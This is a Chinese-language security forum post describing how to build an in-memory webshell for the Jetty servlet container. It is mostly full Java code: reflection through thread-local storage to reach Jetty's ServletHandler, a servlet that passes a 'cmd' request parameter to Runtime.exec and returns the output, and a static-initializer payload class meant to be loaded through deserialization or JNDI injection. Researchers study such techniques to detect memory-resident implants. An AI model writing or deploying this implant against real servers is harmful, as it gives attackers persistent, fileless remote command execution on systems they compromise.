jetty 内存马构造分析
tj 发表于 四川 WEB安全 614浏览 · 2024-11-25 08:52

利用自带的函数添加内存马(jdk_1_8_66)

控制器,

package org.example;

import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.ServletContextHandler;
import org.eclipse.jetty.servlet.ServletHolder;



public class JettyApplication {
    public static void main(String[] args) throws Exception {
        Server server = new Server(8080);

        ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS);
        context.setContextPath("/aaa");
        server.setHandler(context);

        context.addServlet(new ServletHolder(new MyServlet()), "/hello");

        //context.addFilter(new FilterHolder(new MyFilter()), "/*", null);

        server.start();
        System.out.println("Server started at http://localhost:8080/aaa/hello");
        server.join();


    }
}


MyServlet
package org.example;
/*
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;

 */
import org.eclipse.jetty.servlet.ServletContextHandler;
import org.eclipse.jetty.servlet.ServletHandler;
import org.eclipse.jetty.servlet.ServletHolder;
import org.eclipse.jetty.servlet.Source;

import javax.servlet.Servlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletRegistration;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

public class MyServlet extends HttpServlet {

    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String method = req.getMethod(); // 获取请求方法
        resp.setContentType("text/plain");

        switch (method) {
            case "GET":
            case "POST":
                resp.getWriter().write("do MyServlet\n");
                System.out.println("MyServlet");
                break;
            default:
                resp.setStatus(HttpServletResponse.SC_METHOD_NOT_ALLOWED);
                resp.getWriter().write("Unsupported method: " + method);
        }


    }


}

我们需要去了解他是怎么添加Servlet的,
这里利用SerlvetHandler类的addServletWithMapping函数执行添加动作的,
那么我们只需要获取SerlvetHandler类然后addServletWithMapping函数就可以进行添加了,

这里使用对象搜索器:https://github.com/c0ny1/java-object-searcher,
直接使用示例的代码搜索SerlvetHandler类的位置,

/*
        //设置搜索类型包含Request关键字的对象
        List<Keyword> keys = new ArrayList<>();
        keys.add(new Keyword.Builder().setField_type("ServletContextHandler").build());
//定义黑名单
        List<Blacklist> blacklists = new ArrayList<>();
        blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
        searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
        searcher.setIs_debug(true);
//挖掘深度为20
        searcher.setMax_search_depth(20);
//设置报告保存位置
        searcher.setReport_save_path("C:\\Users\\tangtang\\Desktop");
        searcher.searchObject();


         */

更改WebServlet,利用反射获取到ServletHandler类然后调用addServletWithMapping函数,

package org.example;
/*
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;

 */
import org.eclipse.jetty.servlet.ServletContextHandler;
import org.eclipse.jetty.servlet.ServletHandler;
import org.eclipse.jetty.servlet.ServletHolder;
import org.eclipse.jetty.servlet.Source;

import javax.servlet.Servlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletRegistration;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

public class MyServlet extends HttpServlet {

    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String method = req.getMethod(); // 获取请求方法
        resp.setContentType("text/plain");

        switch (method) {
            case "GET":
            case "POST":
                resp.getWriter().write("do MyServlet\n");
                System.out.println("MyServlet");
                break;
            default:
                resp.setStatus(HttpServletResponse.SC_METHOD_NOT_ALLOWED);
                resp.getWriter().write("Unsupported method: " + method);
        }



        // 获取当前线程的 Context
        ServletHandler servletHandler = getServletContextFromThread();
        servletHandler.addServletWithMapping(new ServletHolder(new MyServlet_payload()), "/payload");
        System.out.println("injection successful");
        //String servletName = String.valueOf();
        //String className = "/payload";

/*
        ServletHandler handler = ServletContextHandler.this.getServletHandler();
        ServletHolder holder = handler.getServlet(servletName);
        holder = handler.newServletHolder(Source.JAVAX_API);
        holder.setName(servletName);
        holder.setClassName(className);
        handler.addServlet(holder);
        ServletContextHandler.this.dynamicHolderAdded(holder);


 */


        /*
        //设置搜索类型包含Request关键字的对象
        List<Keyword> keys = new ArrayList<>();
        keys.add(new Keyword.Builder().setField_type("ServletContextHandler").build());
//定义黑名单
        List<Blacklist> blacklists = new ArrayList<>();
        blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
        searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
        searcher.setIs_debug(true);
//挖掘深度为20
        searcher.setMax_search_depth(20);
//设置报告保存位置
        searcher.setReport_save_path("C:\\Users\\tangtang\\Desktop");
        searcher.searchObject();


         */
    }

    private static ServletHandler getServletContextFromThread() {
        try {
            // 获取当前线程的 ThreadLocalMap
            Thread currentThread = Thread.currentThread();
            java.lang.reflect.Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
            threadLocalsField.setAccessible(true);
            Object threadLocalMap = threadLocalsField.get(currentThread);

            // 获取 ThreadLocalMap 的 table
            java.lang.reflect.Field tableField = threadLocalMap.getClass().getDeclaredField("table");
            tableField.setAccessible(true);
            Object[] table = (Object[]) tableField.get(threadLocalMap);

            // 遍历 table 寻找 ServletContext
            for (Object entry : table) {
                if (entry != null) {
                    java.lang.reflect.Field valueField = entry.getClass().getDeclaredField("value");
                    valueField.setAccessible(true);
                    Object value = valueField.get(entry);

                    if (value instanceof ServletContext) {
                        java.lang.reflect.Field valueField_1 = value.getClass().getDeclaredField("this$0");
                        valueField_1.setAccessible(true);
                        Object value_1 = valueField_1.get(value);

                        java.lang.reflect.Field valueField_2 = value_1.getClass().getDeclaredField("_servletHandler");
                        valueField_2.setAccessible(true);
                        Object value_2 = valueField_2.get(value_1);



                        return (ServletHandler)value_2;
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

}

自定义恶意的servlet,MyServlet_payload,

package org.example;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;

public class MyServlet_payload extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp){
        System.out.println("success!\n");
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            try {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                resp.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = resp.getWriter();
                Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext() ? scanner.next() : "";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }
}

然后运行访问hello,添加servlet内存马成功,访问payload进行连接,

filter内存马和servlet内存马的添加流程类似,
获取ServletHandler类然后调用addFilterWithMapping函数添加filter,
因此只需要将addServletWithMapping更改为addFilterWithMapping函数,然后自定义恶意filter就行,

以上方法是通过分析自带的方法直接获取相应类的方法去添加servlet/filter,相对简单,
还有一种思路是分析他是怎么取出相应的servlet/filter然后运行,或者对添加的函数更加细节的分析,

当存在一些热部署时,就可以贴以上代码,
或者利用反序列化加载字节码的地方、jndi注入,就可以直接生成一个恶意类,如,

package org.example;

import org.eclipse.jetty.servlet.ServletHandler;
import org.eclipse.jetty.servlet.ServletHolder;

import javax.servlet.ServletContext;


public class Payload {
    static {
        try {
            // 获取当前线程的 ThreadLocalMap
            Thread currentThread = Thread.currentThread();
            java.lang.reflect.Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
            threadLocalsField.setAccessible(true);
            Object threadLocalMap = threadLocalsField.get(currentThread);

            // 获取 ThreadLocalMap 的 table
            java.lang.reflect.Field tableField = threadLocalMap.getClass().getDeclaredField("table");
            tableField.setAccessible(true);
            Object[] table = (Object[]) tableField.get(threadLocalMap);

            // 遍历 table 寻找 ServletContext
            for (Object entry : table) {
                if (entry != null) {
                    java.lang.reflect.Field valueField = entry.getClass().getDeclaredField("value");
                    valueField.setAccessible(true);
                    Object value = valueField.get(entry);

                    if (value instanceof ServletContext) {
                        java.lang.reflect.Field valueField_1 = value.getClass().getDeclaredField("this$0");
                        valueField_1.setAccessible(true);
                        Object value_1 = valueField_1.get(value);

                        java.lang.reflect.Field valueField_2 = value_1.getClass().getDeclaredField("_servletHandler");
                        valueField_2.setAccessible(true);
                        Object value_2 = valueField_2.get(value_1);

                        ServletHandler servletHandler = (ServletHandler)value_2;
                        servletHandler.addServletWithMapping(new ServletHolder(new MyServlet_payload()), "/payload");
                        System.out.println("injection successful");
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


}
0 条评论
某人
表情
可输入 255